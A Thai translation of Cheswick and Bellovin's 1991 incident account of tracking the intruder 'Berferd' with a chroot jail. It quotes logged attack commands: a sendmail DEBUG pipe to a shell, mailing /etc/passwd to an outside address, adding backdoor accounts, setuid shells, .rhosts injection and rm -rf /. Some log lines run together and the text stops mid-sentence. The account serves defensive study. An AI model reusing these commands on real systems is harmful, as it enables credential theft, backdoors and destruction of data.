|
|
ตามรอยแคร็กเกอร์
โดย William R. Cheswick และ Steven Bellovin ISBN 0-201-63357-4 http://www.all.net/books/berferd/berferd.html) อารัมภบท การถูกบุกรุกเป็นประสบการณ์ที่ไม่น่าพอใจสักเท่าใดนัก ไม่สนุกเลยที่ได้รู้ว่าโฮสต์ของคุณถูกบุกรุกโดยไม่รู้ตัว และระบบนั้นมีผู้บริหาร ระบบที่เป็นอาสาสมัครหลายคน แต่ในกรณีของเรา เกตเวย์ที่มีการป้องกันอย่างแน่นหนาและไว้ใจได้ช่วยให้เราสามารถจัดการกับ นักล้วงข้อมูลได้อย่างมั่นใจ Bill Cheswick, Steve Bellovin, Diana D'Angelo, และ Paul Glick ได้เล่นสนุกกับอาสาสมัครคนหนึ่ง เหมือน ๆ กับเรื่องราวเกี่ยวกับนักล้วงข้อมูลทั้งหลาย เรามาดูกันที่ข้อมูลที่บันทึกไว้ในระบบ(logs) การกระทำอันไม่เป็นมิตร ผมสังเกตเห็นอาสาสมัครคนหนึ่งของเราเมื่อตอนที่เขาได้ทำการติดต่อแบบทั่วไปโดยใช้เส้นทางที่เก่าแก่และไม่สมควรใช้ เขาต้องการสำเนาไฟล์รหัสผ่านของเรา สันนิษฐานว่านำไปเพื่อใช้ในการแคร็กหารหัสผ่าน เขาพยายามที่จะเอารหัสผ่านโดยใช้ช่อง โหว่ของ sendmail ที่เกี่ยวข้องกับคำสั่ง DEBUG ที่เก่าแล้ว (ไม่เกี่ยวกับช่องโหว่ของ sendmail ใหม่ ๆ ที่มีจำนวนมากมาย) จากข้อมูลที่ได้รับการบันทึกในระบบวันที่ 15 มกราคม คศ.1991แสดงให้เห็นถึงการกระทำที่ไม่เป็นมิตรอย่างไม่ต้องสงสัย 19:43:10
smtpd: <--- 220 inet.att.com SMTP19:43:14 smtpd: -------> debug19:43:14
smtpd: DEBUG attempt19:43:14 smtpd: <--- 200 OK19:43:25 smtpd: ------->
mail from:19:43:25 smtpd: <--- 503 Expecting HELO19:43:34 smtpd: ------->
helo19:43:34 smtpd: HELO from 19:43:34 smtpd: <--- 250 inet.att.com19:43:42
smtpd: -------> mail from: 19:43:42 smtpd: <--- 250 OK19:43:59 smtpd:
-------> rcpt to: rcpt to:<|sed -e '1,/^$/'d | /bin/sh ;
sed -e '1,/^$/'d | /bin/sh ; exit 0" ซึ่งจำนำเอาส่วนหัวของเมลออกไปและรันข้อความในเมลที่เหลือโดยใช้สิทธิ์ของ root ดังคำสั่งต่อไปนี้ตามที่ผมได้บันทึกมันไว้โดยมีเวลากำกับไว้ด้วย 19:45 mail adrian@embezzle.stanford.edu </etc/passwd 19:51 mail adrian@embezzle.stanford.edu </etc/passwd เขาต้องการให้ระบบของเราส่งสำเนาไฟล์รหัสผ่านของเราไปให้เขา สันนิษฐานว่าเพื่อนำไปใช้กับโปรแกรมเดารหัสผ่าน แต่ละคำสั่งนี้มาจากยูสเซอร์ adrian ที่อยู่ในเครื่อง EMBEZZLE.STANFORD.EDU แสดงถึงความไม่เป็นมิตรอย่างโจ่งแจ้ง เป็นช่วงเวลาเดียวกันกับที่สหรัฐ ฯ ประกาศจู่โจมประเทศอิรักทางอากาศ ผมสงสัยเล่น ๆ ว่า ซัดดัมคงไปจ้างแคร็กเกอร์คนสองคนเพื่อมาโจมตีหรือไม่ เนื่องจากผมมีไฟล์รหัสผ่านแบบหลอก ๆ สำรองอยู่ในไดเร็กทอรีสำหรับ FTP ดังนั้นผมจึงส่งไฟล์นี้ไปให้พร้อมกับ ที่อยู่อีเมลที่สามารถตอบกลับของ root นอกจากนี้ผมยังได้ส่งเมลถึง Stanford เพื่อบอกถึงการที่ Stanford ถูกบุกรุกด้วย เช้าวันต่อมาผมได้รับการติดต่อจาก Stephen Hansen ผู้บริหารระบบที่ Stanford เขาทุ่มเทความสนใจทั้งหมดไปที่ปัญหาเกี่ยวกับนักล้วงข้อมูล แอกเคาท์ adrian ถูก ขโมยไปใช้และคอมพิวเตอร์หลายเครื่องถูกโจมตี เขาและซึโตมุ ชิโมมุระ แห่ง Los Alasmos Labs กำลังพัฒนาเครื่องมือดักฟังโทรศัพท์เพื่อติดตามผู้บุกรุกรายนี้ การโจมตี เข้ามายังเทอร์มินัลเซิร์ฟเวอร์ จากการเชื่อมโยงทางสายโทรศัพท์ พวกเขาหวังว่าจะสามารถตามรอยการใช้โทรศัพท์นั้นได้ เช้าวันอาทิตย์ต่อมาผมได้รับเมลจากฝรั่งเศษ To:
root@research.att.comSubject: intruderDate: Sun, 20 Jan 91 15:02:53 +0100 ไฟล์รหัสผ่านปลอมของเราถูกเคลื่อนย้ายไปยังฝรั่งเศษเลยทีเดียว ! (ข้อผิดพลาดจากการกำหนดค่าอย่างหนึ่งทำให้โปรแกรมรับส่งเมล ของเราระบุข้อความของรหัสผ่านเป็น แบบ RFC 822 header line และแก้ไขฟอร์แมตของข้อความ ตัวอักษรตัวแรกถูกทำให้เป็นตัวใหญ่ และถูกเพิ่มช่องว่างเข้าไปหลังเครื่องหมายโคลอนตัวแรกของแต่ละบรรทัด
เหตุการณ์ในตอนเย็นกับ Berferd ในตอนเย็นวันที่ 20 มกราคม CNN ได้เสนอภาพเหตุการณ์ในสงครามอ่าวเปอร์เชีย CNN กำลังรายงานข่าวถึงจรวดสกั๊ดที่กำลังเหิรฟ้า และแล้วแฮกเกอร์ของผมก็กลับมา 22:33 finger attempt on berferd เขาต้องการตรวจสอบให้แน่ใจว่าเครื่องเป้าหมายไม่มีใครที่ล๊อกอินเข้าไป สองนาทีต่อมามีคนหนึ่งใช้คำสั่ง DEBUG เพื่อที่จะใช้คำสั่งต่อไปโดยใช้สิทธิ์ของ root เขาต้องการ ให้โปรแกรมรับส่งเมลของเราเปลี่ยนแปลงไฟล์รหัสผ่านของเราเอง ! 22:36
echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd cp
/bin/sh /tmp/shell chmod 4755 /tmp/shell ผมควรทำอะไรต่อไป ? ผมไม่ต้องการให้เขาได้แอกเคาท์ที่อยู่บนเครื่องเกตเวย์ของเราจริง ๆ หรอก ทำไมต้องเอาปัญหาเข้ามาด้วยล่ะ ! พวกเราไม่อยากบันทึกสิ่งที่เขาพิมพ์ลงไป และต้องการชำระสะสางความยุ่งเหยิงทั้งหมดในเวลาต่อมา ก่อนที่จะส่งไฟล์รหัสผ่านไปให้เขา 5 วัน ผมได้จำลองคอมพิวเตอร์ที่มีการจัดการที่แย่ขึ้นมาเครื่องหนึ่ง ผมจำเป็นต้องติดตามเฝ้าดูเขาอีกระยะหนึ่ง เพื่อให้รู้ว่าเขาต้องการอะไร อย่างอื่นอีกหรือไม่ ผมจะทำจำลองระบบปฏิบัติการขึ้นมาเอง แต่ผมจะทำให้เขาได้รู้ว่าเครื่องนี้ช้า เพราะว่าผมใช้เครื่อง MIPS M/120 ไม่ถนัด หมายความว่าผมจำเป็นต้อง สร้างระบบจำลองที่ขึ้นอยู่กับการตัดสินใจของผม ผมตัดสินใจไปข้อหนึ่งแล้วเพราะผู้โจมตีได้ไฟล์รหัสผ่านไปแล้ว การตัดสินใจข้อแรก ไฟล์รหัสผ่านของ FTP เคยเป็นของจริง มีอีกสองข้อคือ การตัดสินใจข้อที่ 2 เครื่องที่เป็นเกตเวย์มีการจัดการที่แย่ (ที่สำคัญกว่านั้นคือ มันมีช่องโหว่เกี่ยวกับ DEBUG และที่ไดเร็กทอรีของ FTP ไม่ควรมีไฟล์รหัสผ่านของจริงอยู่) การตัดสินใจข้อที่ 3 เครื่องเกตเวย์ช้าอย่างร้ายกาจ อาจใช้เวลาเป็นชั่วโมงในการรับส่งเมล ซึ่งอาจใช้เวลาทั้งคืนเลยก็ได้ ! การตัดสินใจข้อที่ 4 shell ไม่ได้อยู่ที่ไดเร็กทอรี /bin แต่มันอยู่ที่อื่น การตัดสินใจนี้ออกจะไร้เหตุผลเพราะว่ามันไม่สอดคล้องกับไฟล์รหัสผ่านที่ผมเพิ่งส่งไปให้เขา แต่ผมไม่มีอะไรที่จะต้องสูญเสีย ผมสร้างแอคเคาท์ b ขึ้นมาโดยใช้ร่วมกับ shell script เล็ก ๆ มันจะส่งเมลแจ้งให้ทราบเมื่อมันถูกเรียกใช้งาน มันจะใช้คำสั่ง sleep เพื่อหยุดพักการทำงาน เพื่อให้การทำงานนั้นช้าลง ผู้ซึ่งใช้แอกเคาท์นี้จะเห็นดังนี้
การตัดสินใจข้อที่ 3 อธิบายว่ามันทำไมมันถึงได้ใช้เวลาประมาณ 10 นาทีในการเพิ่มแอกเคาท์เข้าไปในไฟล์รหัสผ่าน ผมเปลี่ยน b เป็น beferdd ในไฟล์รหัสผ่านของจริง ในขณะที่ผมกำลังเซ็ตมันอยู่ เพื่อนของเราได้พยายามอีกครั้ง 22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd เป็นข้อเสนออีกอันหนึ่งสำหรับสิ่งที่จะใส่เข้าไปในไฟล์รหัสผ่านของเรา เขาต้องใส่ช่องว่างลงไปหลังจากชื่อ login เพราะคำสั่งที่แล้วยังไม่ได้รันที่เครื่องนี้และเขาจำได้ถึง ช่องว่างแบบ RFC 822 ในไฟล์สำหรับรหัสผ่านที่ผมได้ส่งไปให้เขา เขาจะใส่ช่องว่างก่อนเครื่องหมายโคลอนแทนที่จะเอาไว้หลังมัน เขาถึงกับอดทนรอไม่ได้ขณะที่ผมกำลัง สร้างแอกเคาท์ใหม่ขึ้นมา 22:45 talk adrian@embezzle.stand^Hford.edu talk adrian@embezzle.stanford.edu การตัดสินใจข้อที่ 5 ระบบของเราไม่มีคำสั่ง talk การตัดสินใจข้อที่ 6 ข้อผิดพลาดจะไม่ถูกรายงานไปยังผู้บุกรุกเมื่อช่องโหว่ของคำสั่ง DEBUG ถูกใช้ (ผมเชื่อว่าสิ่งนี้เป็นจริงในทุกสถานการณ์ คำสั่งที่ผิดพลาดจะทำให้สคริปท์นั้นสิ้นสุดการทำงานและป้องกันไม่ให้คำสั่งต่อไปสามารถ ทำงานได้อีกต่อไปในสคริปท์เดียวกัน) การร้องขอการติดต่อแบบ talk มาจากอีกเครื่องหนึ่งของ Stanford ผมแจ้งให้ทาง Stanford ทราบเพราะบางทีพวกเขาอาจจะยังไม่รู้ นอกจากนี้ผมได้ดูข่าวเกี่ยวกับจรวดสกั๊ด ในทีวีอีกด้วย เขาเลือกโจมตีแอกเคาท์ Berferd ชื่อนี้มาจากรายการทีวี Dick Van Dyke show ที่เก่าแล้วเมื่อ Jerry Van Dyke ถูกเรียกว่า Dick "Berferd" ดูเหมือนเป็นชื่อที่เหมาะสมกับผู้บุกรุกของเรา (บางทีมันอาจเป็นวิธีแก้ไขปัญหาการเรียกชื่อ "hacker/cracker" เช่น Berferd คนหนึ่งได้บุกรุกเข้าไปในเครื่อง name server เมื่อวานนี้..." ต่อมามีการติดต่อเข้ามาอีก เห็นได้ชัดว่า Berferd คงไม่มีเคเบิลทีวีดูอย่างแน่นอน 22:48 Attempt to login with bferd from Tip-QuadA.Stanford.EDU22:48 Attempt to login with bferd from Tip-QuadA.Stanford.EDU22:49 Attempt to login with bferd from embezzle.Stanford.EDU22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)22:51 Attempt to login with bferd from embezzle.Stanford.EDU22:51 Attempt to login with bferd from embezzle.Stanford.EDU22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd22:57 (Added bfrd to the real password file.)22:58 Attempt to login with bfrd from embezzle.Stanford.EDU22:58 Attempt to login with bfrd from embezzle.Stanford.EDU23:05 echo "36.92.0.205" >/dev/null echo "36.92.0.205 embezzle.stanford.edu">>/etc./^H^H^H23:06 Attempt to login with guest from rice-chex.ai.mit.edu23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts เขาพยายามติดต่อแบบ rlogin เข้ามายังเกตเวย์ของเรา ต้องอาศัยไฟล์บางไฟล์ในเกตเวย์ที่ได้รับการกำหนดค่าอย่างถูกต้องเท่านั้น จึงจะสามารถติดต่อแบบ rlogin ได้สำเร็จ ในเวลาที่เราไม่ตรวจเจอความพยายามใช้คำสั่ง rlogin, Berferd ทำให้เรานึกถึง เครื่องมือสำหรับการโจมตีแบบใหม่ของเขาด้วย 23:09 Attempt to login with bfrd from embezzle.Stanford.EDU23:10 Attempt to login with bfrd from embezzle.Stanford.EDU23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf ps -aux|mail adrian@embezzle.stanford.edu หลังจากที่ความพยายามที่จะใช้ rlogin ล้มเหลว Berferd ต้องการไฟล์ inetd.conf ของเราเพื่อที่จะดูว่ามีเซอร์วิสใดเปิดใช้ งานบ้าง ผมไม่ต้องการให้เขาเห็นไฟล์ของจริง มีปัญหายุ่งยากเกินไปที่จะสร้างจำลองขึ้นมา คำสั่งที่ส่งมานั้นใช้ได้ถูกต้องแต่ผม ไม่ต้องการทำอย่างที่เขาต้องการ การตัดสินใจข้อที่ 7 คอมพิวเตอร์ที่เป็นเกตเวย์สามารถเปลี่ยนค่าที่กำหนดไว้ได้ (พวกเราได้สันนิษฐานไว้ว่าคอมพิวเตอร์เป็น มีลักษณะเช่นนั้นอยู่แล้ว) 23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts ps -aux|mail adrian@embezzle.stanford.edu mail adrian@embezzle.stanford.edu < /etc/inetd.conf ผมไม่ต้องการให้เขาเห็นผลลัพธ์จากคำสั่ง ps เช่นกัน โชคดีที่สวิทช์(switches)ของคำสั่ง ps ของยูนิกซ์ตระกูล BSD ไม่สามารถใช้งานบนเครื่อง System V ได้ ถึงจุดนี้ผมได้ติดต่อไปยัง CERT เพราะมันเป็นการโจมตีเพิ่มเติม และน่าจะมีบางคนที่ Stanford ที่กำลังตามรอยโทรศัพท์ (ผมได้รับคำตอบมาว่าต้องใช้เวลาหลายสัปดาห์จึงจะพบร่องรอยที่แท้จริงได้) ดังนั้น CERT จะทำอย่างไรในสถานการณ์แวดล้อม เช่นนี้ ? เขาจะติดต่อกับหน่วยงานของรัฐบาลกลางหรือไม่ ? หาผู้เสียหายสำหรับการฟ้องร้องหรือไม่ ? ทำการดักฟังเครือข่าย โทรศัทพ์นานาชาติหรือไม่ ? สิ่งที่พวกเขาคือการบันทึกและเฝ้าดูทุกสิ่งและพยายามทำให้ผมได้ติดต่อกับผู้บริหารระบบที่ Stanford ดูเหมือนพวกเขาจะมีรายชื่อสำหรับการติดต่อที่มีมากด้วย ในช่วงนี้มีวินโดวส์ที่หน้าจอของผมมากมายที่กำลังรันคำสั่ง tail -f เพื่อดูไฟล์ที่บันทึกสิ่งที่เกิดขึ้นในระบบมากมาย ผมสามารถ เฝ้าดูข่าวจากกรุงริยาห์ด ซาอุดิอาราเบีย ไปพร้อม ๆ กับการดู daemon ของระบบได้ในเวลาเดียวกัน ต่อมาการบุกรุกตามมา ด้วยการใช้ FTP
23:38
finger attempt on berferd
23:57
Attempt to login with bfrd from embezzle.Stanford.EDU23:58 cp /bin/csh /usr/etc/fingerd 00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd โอเค fingerd ทำงานได้อีกครั้งโดย Berferd ทำให้มันกลับไปอยู่ที่เดิม 00:14 passwd bfrt bfrt bfrt ตอนนี้เขากำลังพยายามเปลี่ยนรหัสผ่าน แต่มันจะไม่ได้ผลเลย เนื่องจากคำสั่ง passwd จะอ่านสิ่งที่ป้อนเข้าไปจาก /dev/tty ไม่ใช่ shell script ที่โปรแกรม sendmail ได้สร้างขึ้น 00:16 Attempt to login with bfrd from embezzle.Stanford.EDU00:17 echo "/bin/sh" > /tmp/Shell chmod 755 /tmp/shell chmod 755 /tmp/Shell00:19 chmod 4755 /tmp/shell00:19 Attempt to login with bfrd from embezzle.Stanford.EDU00:19 Attempt to login with bfrd from embezzle.Stanford.EDU00:21 Attempt to login with bfrd from embezzle.Stanford.EDU00:21 Attempt to login with bfrd from embezzle.Stanford.EDU ถึงตอนนี้ผมรู้สึกเหนื่อย และคืนนี้ทั้งคืนผมต้องดูข่าวเกี่ยวกับเหตุการณ์ในตะวันออกกลาง ผมต้องการเฝ้าดู Berferd ในตอนเช้า พรุ่งนี้ แต่จำเป็นต้องปิดเครื่องจำลองของเราถึงตอนนั้น เขาต้องใช้ความพยายามอีกเท่าไหร่ การกระทำแบบโง่ ๆ นี้จึงจะมีค่า สนุกมากที่จะนำเขาเข้าไป แต่อะไรเป็นประเด็นสำคัญกันล่ะ ? ผมหวังว่าจะทำให้เขายุ่งอยู่กับมันและอาจเลิกยุ่งกับคอมพิวเตอร์ของ Stanford ไปช่วงหนึ่ง ถ้าเขาใช้ความพยายามที่จะบุกรุก เข้าไปสู่เกตเวย์ของเรา ผมสามารถซื้อเวลาเขาเพื่อปิดเครื่อง สร้างเครื่องมือ และตามรอยเขา ผมตัดสินใจว่าเป้าหมายของผมคือการทำให้ Berferd ใช้เวลามากขึ้นกับปัญหามากกว่าที่ผมใช้เวลา ผมจำเป็นต้องมีเหตุผลอ้างสำหรับการปิดเครื่องเกตเวย์ ผมนึกถึงเหตุผลโดยทั่วไปนั่นคือ ปัญหาเกี่ยวกับดิสก์ (ผมสงสัยว่าผู้บุกรุก หลายคนอาจตั้งความเห็นไว้ว่าดิสก์ไดรฟ์มีความน่าเชื่อถือน้อยกว่าที่มันควรจะเป็นจริง ๆ ) ผมรอจนกระทั่ง Berferd แช่อยู่ในคำสั่ง sleep จนทำอะไรไม่ได้ และส่งข้อความแจ้งให้เขาทราบว่าเครื่องมีข้อผิดพลาดเกี่ยวกับดิสก์ และจะปิดเครื่องจนถึงเช้า เครื่องนี้ใช้สำหรับการค้นคว้า ไม่ใช่ใช้สำหรับการทำงานจริง ๆ จริง ๆ แล้วผมอาจส่งเมลในตอนเช้านี้ก็ได้ ประมาณครึ่งชั่วโมงต่อมาก่อนเลิกงานในวันนี้ ผมตัดสินใจว่า Berferd ไม่ควรค่ากับการอ้างเหตุผลสำหรับการปิดเครื่อง ดังนั้น จึงเปิดให้เครื่องใช้งานได้เหมือนเดิม Berferd กลับมาอีกครั้งในคืนนั้น เขาถูกหลอกล่อ เขาได้ดำเนินการโจมตีจนถึงเวลา 0:40 น. จากบันทึกการกระทำของเขาชวน ให้น่าสงสารและน่าเบื่อหน่าย จนกระทั่งคำสั่งนี้ที่เป็นคำสั่งสำหรับ root ได้ถูกใช้ 01:55 rm -rf /& ว้าว ! มันกลายเป็นคำสั่งส่วนตัวไปเสียแล้ว สถานะของเครื่องทำให้เขาสับสนอย่างเห็นได้ชัดและเขาต้องการปกปิดร่องรอยของเขา พวกเราเคยได้ยินแฮกเกอร์บางคนอ้างว่าพวกเขาไม่ทำอันตรายต่อคอมพิวเตอร์ที่พวกเขาบุกรุกเข้าไป พวกเขาเพียงแต่ต้องการ สำรวจดูระบบเท่านั้น แน่นอนว่ามันขึ้นอยู่กับบุคคลและสถานการณ์แวดล้อมมากกว่า พวกเราเห็นการกระทำของ Berferd ที่ บันทึกไว้ในระบบภายในโฮสต์อื่นที่เขาได้ทำลายระบบไฟล์ทั้งหมด พวกเราไม่ต้องการให้คนแปลกหน้าอยู่ในห้องรับแขกของพวกเรา ถึงแม้ว่าเขาจะเช็ดรองเท้าของเขาแล้วก็ตาม เขายังพยายามไปอีกสองสามนาที
แล้วจึงเลิกทำในตอนเช้า การตัดสินใจข้อที่ 8 ช่องโหว่ DEBUG ของโปรแกรม sendmail ยังคงมีลำดับของคำสั่งที่ต้องทำงานตามนั้น ถึงเวลาที่ต้องรวบรวมคำสั่งที่เขาได้พยายามหลังจากที่ผมได้นอนหลับไป รวมทั้งความพยายามที่จะลบไฟล์ทุกไฟล์ในระบบ ของเราด้วย เพื่อที่จะจำลองคำสั่ง rm ผมได้ปิดเครื่องชั่วคราวแล้วจึงลบไฟล์รหัสผ่านจำลอง แล้วจึงสร้างข้อความจากผู้บริหารระบบที่โชคร้าย เกี่ยวกับความเสียหายที่เกี่ยวกับดิสก์ใน /etc/motd สิ่งที่บันทึกไว้นี้บอกถึงคำสั่งที่เหลือจากการจัดลำดับไว้
ในตอนบ่าย เขาก็ยังคงอยู่ที่นั่น และพิมพ์คำสั่งผิดด้วย
The Jail (สภาพแวดล้อมควบคุม) พวกเราไม่เคยตั้งใจที่จะใช้เครื่องมือเหล่านี้เพื่อจำลองระบบขึ้นมาตามเวลาจริงเลย พวกเราต้องการเฝ้าดูการกดคีย์บอร์ดของ แคร็กเกอร์ เพื่อหาร่องรอยของเขา เรียนรู้เทคนิคของเขา และเตือนผู้ที่ตกเป็นผู้เสียหาย ทางแก้ปัญหาที่ดีที่สุดคือการหลอกล่อ ให้เขามายังเครื่องที่ได้เตรียมไว้และดักจับสัญญาณในการติดต่อ พวกเราต้องการมีเครื่องที่มีการเฝ้าดูทุกการกระทำที่ซ่อนอยู่ด้วย อีเทอร์เน็ต(Ethernet) ง่ายต่อการดักจับสัญญาณการสื่อสาร ที่ผ่านไปมา ซอฟท์แวร์ tcpdump ที่ได้รับการดัดแปลงแล้วสามารถแยกการทำงานเพื่อบันทึกการติดต่อแต่ละอย่างได้ เราพยายาม ทำแล้วแต่ปรากฏว่าเคอร์เนล(kernel)ยังคงประกาศ ARP (Address Resolution Protocol) ไปยังเน็ตเวิร์คที่มีการดัก จับสัญญาณ พวกเราไปดูที่ซอฟท์แวร์จำนวนมากที่ได้รับการแก้ไขแล้ว แต่พวกมันทั้งหมดซับซ้อนเกินไปที่จะให้แน่ใจได้ว่ามัน ทำงานได้จริง ท้ายสุด Steve ได้ตัดสายส่งสัญญาณ(transmit wire)ในสายเคเบิลทรานซิฟเวอร์(transceiver) เพื่อให้ แน่ใจได้จริง ๆ ว่ามันจะไม่มีสัญญาณและไม่สามารถตรวจพบได้ เครื่องมือสำหรับการดักสัญญาณและการเฝ้าดูพร้อมแล้ว แต่ Berferd ไม่ได้สนใจเครื่องที่เราได้สร้างไว้นี้เมื่อเราได้เซ็ตอัปมัน เสร็จแล้ว #
setupsucker login login=`echo
$CDEST | cut -f4 -d!` # extract login from service name PATH=/v:/bsd43:/sv;
export PATH #get
the tty and pid to set up the fake utmp chown
$login /usr/spool/hacker/dev/tty$tty 1>/dev/null 2>/dev/null /etc/chroot
/usr/spool/hacker /v/su -c "$login" /v/sh -c "cd $HOME; เชลล์สคริปท์(shell script) setupsucker ที่ทำเลียนแบบคำสั่ง login ซึ่งเต็มไปด้วยกลเม็ดมากมาย เราต้องทำให้ตัวแปรของสภาพแวดล้อม (environment variable) ดูสมเหตุสมผลและพยายามที่จะดูแลในส่วนของ utmp เราพยายามที่จะไม่ให้มีข้อผิดพลาดในสคริปท์เพื่อไม่ให้แฮกเกอร์เห็น ขั้นแรก ผมไม่มีเครื่องสำรอง ผมจึงต้องใช้เส้นทางซอฟท์แวร์(software route)แทน มันไม่ใช่วิธีที่ง่าย และผมก็ไม่แนะนำด้วย ผมได้ปรึกษากับผู้เชี่ยวชาญด้านยูนิกซ์เกี่ยวกับความปลอดภัยของสภาพแวดล้อมของ chroot พวกเขาให้ข้อสรุปว่ามันไม่ปลอดภัยอย่างสมบูรณ์ถ้าไม่มีคอมไพเลอร์และโปรแกรมบางโปรแกรม แต่สภาพแวดล้อมแบบ chroot ไม่สามารถตรวจพบได้ ผมสังเกตได้ว่า Berferd มักรีบเร่งอยู่เสมอและอาจไม่สังเกตก็ได้ พวกเราได้สร้าง chroot "Jail" (หรือ "roach motel") พวกเราทำให้การติดต่อที่มีการบันทึกไปสู่ Jail ให้ผ่านจากไฟร์วอลของเรา แอกเคาท์ Berferd และ guest ถูกเชื่อมโยงไปยัง Jail โดยผ่านข้อกำหนดนี้ มีการบันทึกสองไฟล์ต่อหนึ่งการติดต่อ แต่ละไฟล์สำหรับสิ่งที่ป้อนเข้าไปและสิ่งที่ได้ออกมา โดยไฟล์ที่บันทึกจะมีเวลาเริ่มต้นและเวลาสิ้นสุดกำกับไว้ด้วย Jail ยากต่อการเซ็ตอัปมาก เราจำเป็นต้องได้เวลาในการเข้าถึง(access time)ใน /dev ที่ถูกต้องและต้องอัปเดทไฟล์ utmp สำหรับผู้ที่ใช้ Jail ไฟล์ที่อยู่ในดิสก์หลายไฟล์ ที่อันตรายเกินกว่าที่จะปล่อยทิ้งไว้ เราเอาโปรแกรม ps, who, w, netstat และโปรแกรมอื่น ๆ ที่เปิดเผยข้อมูลสำคัญของระบบออกไป ส่วนเชลล์สคริปท์ "login" จำเป็นที่ จะต้องจำลอง login ในหลาย ๆ วิธี Diana D'Angelo เซ็ตอัประบบไฟล์ (file system)ที่น่าเชื่อถือ มีไฟล์ที่ไร้ประโยชน์และไฟล์ชั่วคราวหลายหลายชนิด Paul Glick ทำให้ระบบ utmp ทำงานได้ ในเวลาต่อมาเพียงไม่นาน Berferd ได้ค้นพบ Jail และสำรวจไปทั่ว เขามองหาโปรแกรมเป็นจำนวนมากซึ่งเราเรียนรู้ในเวลาต่อมาว่า มีช่องโหว่ทางด้านความปลอดภัยที่เขาชอบใช้ สำหรับพวกเราแล้ว Jail ไม่ได้ทำให้พวกเราเลื่อมใสมันนักหรอก แต่สำหรับ Berferd แล้วดูเหมือนเขาจะเลิกสนใจมันในฐานะที่มันเป็นส่วนหนึ่งของความแปลกของเกตเวย์ของเรา ตามรอย Berferd Berferd ทุ่มเทเวลาให้กับ Jail ของพวกเรามาก ส่วนเราใช้เวลาส่วนมากไปกับการปรึกษากับ Stephen Hansen ผู้บริหารระบบที่ Stanford เขาทุ่มเทเวลาให้กับการ พยายามตามรอย Berferd โจมตีพวกเราโดยผ่านเครื่องของ Stanford เขาติดต่อไปยังเครื่องเหล่านี้จากเทอร์มินัลเซิร์ฟเวอร์(terminal server) ผ่านเทอร์มินัลเซิร์ฟเวอร์ และติดต่อกับเทอร์มินัลเซิร์ฟเวอร์ผ่านทางสายโทรศัพท์ เราตรวจสอบเวลาที่เขาล๊อกอินเข้ามาเพื่อคาดเดาช่วงเวลาที่เขาอาศัยอยู่ ตารางข้างล่างนี้แสดงให้เห็นถึงกราฟแบบง่าย ๆ ที่พวกเราได้ทำขึ้นจากการติดต่อเริ่มต้นของเขา (PST) ดูเหมือนว่าเขาอาจใช้เวลาในตอนกลางคืนในช่วงฝั่งตะวนออกของสหรัฐ ฯ แต่ก็มีเวลาอื่น ๆ ด้วยเช่นกัน ทำให้การวิเคราะห์ไม่มีประโยชน์มากนัก แต่ก็มีคุณค่าควรแก่การลอง 1
2 Jan 012345678901234567890123 s 19 x s 20 xxxx m 21 x x xxxx t 22 xxxxx x w
23 xx x xx x xx t 24 x x f 25 x xxxx s 26 s 27 xxxx xx x m 28 x x x t 29 x xxxx
x w 30 x t 31 xx Feb 012345678901234567890123 f 1 x x x s 2 x xx xxx s 3 x x
xxxx x m 4 x การต่อสู้ของ Stanford กับ Berferd ก็เป็นเรื่องอีกเรื่องหนึ่งทั้งเรื่อง Berferd ทำให้เกิดความวุ่นวาย ทำลายเครื่องคอมพิวเตอร์จำนวนมากและพยายามหาช่องโหว่ในเครื่องอื่น ๆ เพื่อการบุกรุก เขาโจมตีเครื่องอื่น ๆ อีกมากมายทั่วโลกจากที่นี่ ซึโตมุ ชิโมมุระได้ดัดแปลง tcpdump เพื่อให้มันสามารถบันทึกเวลาลงไปในการบันทึกแต่ละแพ็คเกตด้วย ทำให้เขาสามารถนำการบันทึกการติดต่อตามเวลาจริงมาดูใหม่ได้ พวกเขาทำได้ดีมากในการหยุดการโจมตีของ Berferd ภายในไม่กี่นาทีที่เขาล๊อกอินเข้าสู่เครื่องใหม่ ครั้งหนึ่งพวกเขาเฝ้าดูการกระทำของ Berferd โดยใช้คำสั่ง ps ชื่อ login ของเขาเปลี่ยนเป็น uucp แล้วจึงเปลี่ยนเป็น bin ก่อนที่เครื่องจะมีปัญหาเกี่ยวกับดิสก์ การดักจับ สัญญาณการติดต่อช่วยได้มากในหลายกรณี ถึงแม้ว่าพวกเขาไม่สามารถเฝ้าดูเน็ตเวิร์คทั้งหมดของ Stanford ได้ ในตอนต้นของการโจมตี Wietse Venema จาก Eindhoven University ได้ติดต่อกับเจ้าหน้าที่ของ Stanford เขาได้ติดตามการบุกรุกเข้าสู่ระบบอื่นในประเทศเนเธอร์แลนด์ มากกว่าหนึ่งปีมาแล้ว เขามั่นใจมากว่าเขารู้ตัวผู้โจมตีรวมทั้ง Berferd ด้วย ในที่สุดการติดต่อเชื่อมโยงหลาย ๆ อย่างก็ถูกตามรอย พวกเขาตามรอยกลับไปถึงวอชิงตัน โปรตุเกตุ และท้ายสุดที่เนเธอร์แลนด์ บริษัทโทรศัพท์ของเนเธอร์แลนด์ได้ปฏิเสธการติดตาม ผู้ใช้โทรศัพท์เนื่องจากการบุกรุกระบบคอมพิวเตอร์ไม่ผิดกฏหมาย ประเทศเนเธอร์แลนด์และไม่มีสนธิสัญญาที่เกี่ยวข้องกับเนเธอร์แลนด์ (สนธิสัญญาต้องอาศัยการปฏิบัติการของ สถานทูตและการรับรองจากโดยสมาชิกวุฒิสภาของสหรัฐ ฯ ซึ่งไกลเกินเป้าหมายที่เราต้องการ) ปีต่อมากลุ่มแฮกเกอร์เดียวกันนี้ได้ทำให้ระบบคอมพิวเตอร์ของเนเธอร์แลนด์เกิดความเสียหาย เจ้าหน้าที่ในประเทศจึงได้นำกฏหมายมาปรับใช้กับกรณีนี้ หลังจากนั้นประเทศ เนเธอร์แลนด์จึงได้ผ่านกฏหมายที่บัญญัติ ให้การบุกรุกเข้าสู่ระบบคอมพิวเตอร์เป็นการกระทำที่ผิดกฏหมาย Berferd ใช้คอมพิวเตอร์ของ Stanford 